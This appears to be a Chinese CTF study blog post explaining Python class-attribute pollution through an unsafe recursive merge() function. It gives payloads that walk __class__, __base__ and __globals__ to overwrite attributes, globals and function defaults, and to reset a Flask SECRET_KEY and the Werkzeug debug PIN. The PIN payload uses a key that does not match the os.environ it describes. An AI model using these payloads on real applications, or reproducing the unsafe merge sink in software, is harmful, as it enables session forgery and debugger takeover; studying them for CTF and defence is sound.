osthing's blog
GitHub RSS
2 min read

Python原型链污染笔记

国赛遇到的,当时没有学过吃了大亏

ctf web python

python原型链污染

在国赛中遇到了,当时断网,也没有自己专门去学过,比赛一打完当天晚上就狠狠补上了这个知识,恨啊呜呜,题目很简单的,但是自己没学过就没做出来;w;

Python原型链污染和Nodejs原型链污染的根本原理一样,Nodejs是对键值对的控制来进行污染,而Python则是对类属性值的污染,且只能对类的属性来进行污染不能够污染类的方法。

关键代码

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

hasattr(object, name)

参数是一个对象和一个字符串。如果字符串是对象的一个属性,则返回True,否则返回False

下面代码逻辑就是递归查找k,如果对应的值是字典再次递归,直到查找到对应的值然后修改

利用思路

我们要污染的目标是一个类的父类,所以我们会用到关键的两个魔法属性

__class__

用于获取一个对象的类,这是一个对象的内置属性,它指向定义该对象的类,反射用的,在运行中获取一个类

__base__

属性用于获取一个类的直接父类(基类),如果一个类没有显式地继承其他类,那么它的基类是内置的 object

那么我们就可以通过这两个属性来污染他的父类

下面简单看个例子

class a1:
    secret = "aaa"
class b1(a1):
    pass
class b2(a1):
    pass
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
instance = b2()
payload = {
    "__class__" : {
        "__base__" : {
            "secret" : "bbb"
        }
    }
}

print(b1.__class__,b1.__base__)
print(b1.secret)
print(instance.secret)
merge(payload, instance)


print(b1.secret)
print(instance.secret)

在我们污染了之后就发现我们的b1和b2的secret属性都变成了bbb

可以的话可以自行在merge(payload, instance)处打个断点进行调试

思路就是先__class__反射获取能调用到的类,然后用__base__获取到父类,然后对自己需要的目标进行污染

利用

获取全局变量

在很多类中我们可以看到有很多类会有__init__方法,用于一个类的初始化。

带有__init__的类有一个特性,那就是有__globals__属性,可以简单做一个测试

class A:
    def __init__(self):
        pass
class B:
    pass

print(dir(A.__init__))
print(dir(B.__init__))

我们可以看见在A的属性里面多了一个__globals__属性,而__globals__属性是干什么的呢

__globals__用于访问函数所属的全局命名空间。具体来说,它返回一个字典,表示函数定义时所在模块的全局变量和函数

也就是说我们可以通过这个变量来修改整体的函数,下面简单看个例子

secret="aaa"
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
payload = {
    "__init__" : {
        "__globals__" : {
            "secret" : "bbb"
        }
    }
}

class A:
    def __init__(self):
        pass

print(A.__init__.__globals__)

print(secret)
merge(payload,A)
print(secret)

成功修改secret属性

函数形参默认值替换

在此衍生还有一个打法就是函数形参默认值替换

当我们去定义一个函数时,可以为其中的参数指定默认值。类似这样

def a(a=1,b=2,c=3):
    pass

而a中的默认参数会被存储在__defaults__中,我们可以简单看一下

def a(a=1,b=2,c=3):
    pass
print(dir(a))
print(a.__defaults__)

所以我们就可以通过替换该属性,来实现对函数位置或者是键值默认值替换

打法如下

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
payload = {
    "__init__" : {
        "__globals__" : {
            "a" : {
                "__defaults__":(3,4,5)
            }
        }
    }
}

class A:
    def __init__(self):
        pass
def a(a=1,b=2,c=3):
    print(a,b,c)

a()
merge(payload,A)
a()

**修改关键信息

flask 密钥

payload

{
    "__init__" : {
        "__globals__" : {
            "app" : {
                "config" : {
                    "SECRET_KEY" :"test"
                }
            }
        }
    }
}

flask pin码

同理的修改os.environ[‘WERKZEUG_DEBUG_PIN’]

{
    "__init__" : {
        "__globals__" : {
            "os" : {
                "env" : {
                    "WERKZEUG_DEBUG_PIN" :"123-123-123"
                }
            }
        }
    }
}